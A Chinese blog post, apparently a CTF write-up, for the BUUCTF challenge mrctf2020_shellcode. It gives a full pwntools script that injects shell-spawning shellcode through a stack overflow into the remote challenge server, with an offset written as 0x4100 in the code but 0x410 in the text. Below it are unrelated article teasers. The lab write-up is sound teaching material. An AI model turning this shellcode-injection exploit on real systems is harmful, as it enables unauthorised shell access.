news 2026/6/10 18:53:40

buuctf中的mrctf2020_shellcode

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的mrctf2020_shellcode

首先checksec检查保护机制:

-64位程序

-got表不可写,地址不固定

接下来使用IDA反汇编分析:

这里我这里反汇编不了,所以只能看汇编代码了,首先看到buf的长度为0x410,下面调用了puts函数和read函数,read函数则是读入了0x400个字节的数据到buf中,由于上面没有开启NX保护,所以考虑shellcode注入,虽然read只读入了400个数据,但是依旧可以触发栈溢出

下面可以看到retn前并没有pop rbp,也就是说这里并没有rbp,所以偏移就是buf的长度即0x410

这里先在gdb中运行程序后输入i r查看寄存器信息:

那到rsp也就是栈基地址,下面的shellcode就是注入在这里

基本信息拿完就可以写攻击脚本了:

from pwn import * context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',27977) # 与在线环境交互。 shellcode = asm(shellcraft.sh()) offset = 0x4100 buf_addr = 0x7fffffffdaf8 payload = shellcode.ljust(offset,b'a') + p64(buf_addr) io.sendline(payload) io.interactive()

这是运行结果:

拿到shell后手动输入cat flag拿到flag

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 14:39:28

一文说清usb_burning_tool刷机工具烧录模式启动方式

以下是对您提供的技术博文进行 深度润色与结构重构后的专业级技术文章 。全文已彻底去除AI痕迹,采用真实工程师口吻写作,逻辑层层递进、语言简洁有力,兼顾初学者理解力与资深工程师的实操价值。所有术语、参数、流程均严格依据 Rockchip/Al…

作者头像 李华
网站建设 2026/6/10 13:52:25

零基础掌握ESP32 Arduino的Wi-Fi数据传输方法

以下是对您提供的博文内容进行 深度润色与结构重构后的专业级技术文章 。全文已彻底去除AI生成痕迹,采用真实工程师口吻写作,逻辑层层递进、语言简洁有力、重点突出实战细节,并严格遵循您提出的全部优化要求(如:禁用…

作者头像 李华
网站建设 2026/6/7 0:37:13

老旧设备重生:OpenCore Legacy Patcher开源工具技术解析

老旧设备重生:OpenCore Legacy Patcher开源工具技术解析 【免费下载链接】OpenCore-Legacy-Patcher 体验与之前一样的macOS 项目地址: https://gitcode.com/GitHub_Trending/op/OpenCore-Legacy-Patcher 对于2006至2015年间生产的老旧Mac设备而言&#xff0c…

作者头像 李华
网站建设 2026/6/10 18:50:01

为什么推荐FSMN-VAD?因为它真的适合小白

为什么推荐FSMN-VAD?因为它真的适合小白 你有没有遇到过这样的情况:想做语音识别,结果发现音频里一大段都是静音、咳嗽、翻纸声、键盘敲击声……这些“无效内容”不仅拖慢处理速度,还让后续识别准确率大打折扣。这时候&#xff0…

作者头像 李华
网站建设 2026/6/10 15:06:52

图像修复显存不足?fft npainting lama低成本GPU优化实战

图像修复显存不足?FFT NPainting LaMa低成本GPU优化实战 1. 为什么你的图像修复总在显存上栽跟头? 你是不是也遇到过这样的情况:刚把LaMa模型部署好,满怀期待地上传一张高清图,点下“开始修复”,结果终端…

作者头像 李华
网站建设 2026/6/10 11:04:40

unet image Face Fusion文档在哪?项目结构与文件说明完整指南

unet image Face Fusion文档在哪?项目结构与文件说明完整指南 1. 这个项目到底是什么 你可能在搜索“unet image Face Fusion文档在哪”,然后看到一堆零散的信息,甚至找不到一份完整的说明。别急,这篇指南就是为你写的——不是那…

作者头像 李华